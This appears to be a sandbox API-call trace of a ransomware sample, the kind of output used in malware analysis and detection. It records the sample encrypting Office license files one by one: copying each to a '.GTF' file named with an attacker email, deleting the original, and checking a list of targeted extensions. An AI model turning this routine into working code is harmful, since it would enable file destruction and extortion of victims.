	[0171.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.792] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.792] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0171.793] GetLastError () returned 0x0
	[0171.793] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x29b7, lpOverlapped=0x0) returned 1
	[0171.795] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x29c0, lpOverlapped=0x0) returned 1
	[0171.796] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.796] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0171.796] SetEndOfFile (hFile=0x3e0) returned 1
	[0171.796] CloseHandle (hObject=0x3e0) returned 1
	[0171.796] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.796] SetEndOfFile (hFile=0x530) returned 1
	[0171.799] CloseHandle (hObject=0x530) returned 1
	[0171.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1
	[0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.801] lstrlenW (lpString=".doc") returned 4
	[0171.801] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.801] lstrlenW (lpString=".docx") returned 5
	[0171.801] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.801] lstrlenW (lpString=".pdf") returned 4
	[0171.801] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.801] lstrlenW (lpString=".xls") returned 4
	[0171.801] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.801] lstrlenW (lpString=".xlsx") returned 5
	[0171.801] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.801] lstrlenW (lpString=".ppt") returned 4
	[0171.801] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.801] lstrlenW (lpString=".zip") returned 4
	[0171.801] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.801] lstrlenW (lpString=".rar") returned 4
	[0171.801] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.801] lstrlenW (lpString=".bz2") returned 4
	[0171.801] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.801] lstrlenW (lpString=".7z") returned 3
	[0171.801] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.801] lstrlenW (lpString=".dbf") returned 4
	[0171.801] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.802] lstrlenW (lpString=".1cd") returned 4
	[0171.802] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.802] lstrlenW (lpString=".jpg") returned 4
	[0171.802] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.802] lstrlenW (lpString=".doc") returned 4
	[0171.802] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString=".docx") returned 5
	[0171.802] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.802] lstrlenW (lpString=".pdf") returned 4
	[0171.802] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString=".xls") returned 4
	[0171.802] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString=".xlsx") returned 5
	[0171.802] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.802] lstrlenW (lpString=".ppt") returned 4
	[0171.802] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.802] lstrlenW (lpString=".zip") returned 4
	[0171.802] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString=".rar") returned 4
	[0171.802] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString=".bz2") returned 4
	[0171.802] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.802] lstrlenW (lpString=".7z") returned 3
	[0171.802] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.802] lstrlenW (lpString=".dbf") returned 4
	[0171.802] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.803] lstrlenW (lpString=".1cd") returned 4
	[0171.803] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0171.803] lstrlenW (lpString=".jpg") returned 4
	[0171.803] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.803] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.803] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37
	[0171.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.804] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21977) returned 1
	[0171.804] CloseHandle (hObject=0x530) returned 1
	[0171.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0171.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.805] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.805] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0171.805] GetLastError () returned 0x0
	[0171.805] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x55d9, lpOverlapped=0x0) returned 1
	[0171.810] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x55e0, lpOverlapped=0x0) returned 1
	[0171.811] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.811] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0171.811] SetEndOfFile (hFile=0x3e0) returned 1
	[0171.812] CloseHandle (hObject=0x3e0) returned 1
	[0171.812] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.812] SetEndOfFile (hFile=0x530) returned 1
	[0171.958] CloseHandle (hObject=0x530) returned 1
	[0171.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1
	[0172.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.056] lstrlenW (lpString=".doc") returned 4
	[0172.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.056] lstrlenW (lpString=".docx") returned 5
	[0172.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.057] lstrlenW (lpString=".pdf") returned 4
	[0172.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString=".xls") returned 4
	[0172.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString=".xlsx") returned 5
	[0172.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.057] lstrlenW (lpString=".ppt") returned 4
	[0172.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.057] lstrlenW (lpString=".zip") returned 4
	[0172.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString=".rar") returned 4
	[0172.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString=".bz2") returned 4
	[0172.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString=".7z") returned 3
	[0172.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.057] lstrlenW (lpString=".dbf") returned 4
	[0172.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.057] lstrlenW (lpString=".1cd") returned 4
	[0172.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.057] lstrlenW (lpString=".jpg") returned 4
	[0172.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.057] lstrlenW (lpString=".doc") returned 4
	[0172.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.057] lstrlenW (lpString=".docx") returned 5
	[0172.058] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.058] lstrlenW (lpString=".pdf") returned 4
	[0172.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString=".xls") returned 4
	[0172.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString=".xlsx") returned 5
	[0172.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.058] lstrlenW (lpString=".ppt") returned 4
	[0172.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.058] lstrlenW (lpString=".zip") returned 4
	[0172.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString=".rar") returned 4
	[0172.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString=".bz2") returned 4
	[0172.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString=".7z") returned 3
	[0172.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.058] lstrlenW (lpString=".dbf") returned 4
	[0172.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.058] lstrlenW (lpString=".1cd") returned 4
	[0172.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0172.058] lstrlenW (lpString=".jpg") returned 4
	[0172.058] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.058] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.059] lstrlenW (lpString="HomeBusinessR_Grace-ppd.xrm-ms") returned 30
	[0172.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.059] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=22033) returned 1
	[0172.059] CloseHandle (hObject=0x3e0) returned 1
	[0172.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220
	[0172.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.060] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.060] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.061] GetLastError () returned 0x0
	[0172.061] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5611, lpOverlapped=0x0) returned 1
	[0172.063] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5620, lpOverlapped=0x0) returned 1
	[0172.065] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.065] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x110, lpOverlapped=0x0) returned 1
	[0172.065] SetEndOfFile (hFile=0x45c) returned 1
	[0172.065] CloseHandle (hObject=0x45c) returned 1
	[0172.065] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.065] SetEndOfFile (hFile=0x3e0) returned 1
	[0172.069] CloseHandle (hObject=0x3e0) returned 1
	[0172.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1
	[0172.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.070] lstrlenW (lpString=".doc") returned 4
	[0172.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.070] lstrlenW (lpString=".docx") returned 5
	[0172.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.070] lstrlenW (lpString=".pdf") returned 4
	[0172.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.070] lstrlenW (lpString=".xls") returned 4
	[0172.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.070] lstrlenW (lpString=".xlsx") returned 5
	[0172.070] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.070] lstrlenW (lpString=".ppt") returned 4
	[0172.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.070] lstrlenW (lpString=".zip") returned 4
	[0172.078] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString=".rar") returned 4
	[0172.078] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString=".bz2") returned 4
	[0172.078] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString=".7z") returned 3
	[0172.078] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.078] lstrlenW (lpString=".dbf") returned 4
	[0172.078] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.078] lstrlenW (lpString=".1cd") returned 4
	[0172.078] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.078] lstrlenW (lpString=".jpg") returned 4
	[0172.078] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.078] lstrlenW (lpString=".doc") returned 4
	[0172.078] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString=".docx") returned 5
	[0172.078] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.078] lstrlenW (lpString=".pdf") returned 4
	[0172.078] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.078] lstrlenW (lpString=".xls") returned 4
	[0172.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.079] lstrlenW (lpString=".xlsx") returned 5
	[0172.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.079] lstrlenW (lpString=".ppt") returned 4
	[0172.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.079] lstrlenW (lpString=".zip") returned 4
	[0172.079] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.079] lstrlenW (lpString=".rar") returned 4
	[0172.079] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.079] lstrlenW (lpString=".bz2") returned 4
	[0172.079] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.079] lstrlenW (lpString=".7z") returned 3
	[0172.079] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.079] lstrlenW (lpString=".dbf") returned 4
	[0172.079] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
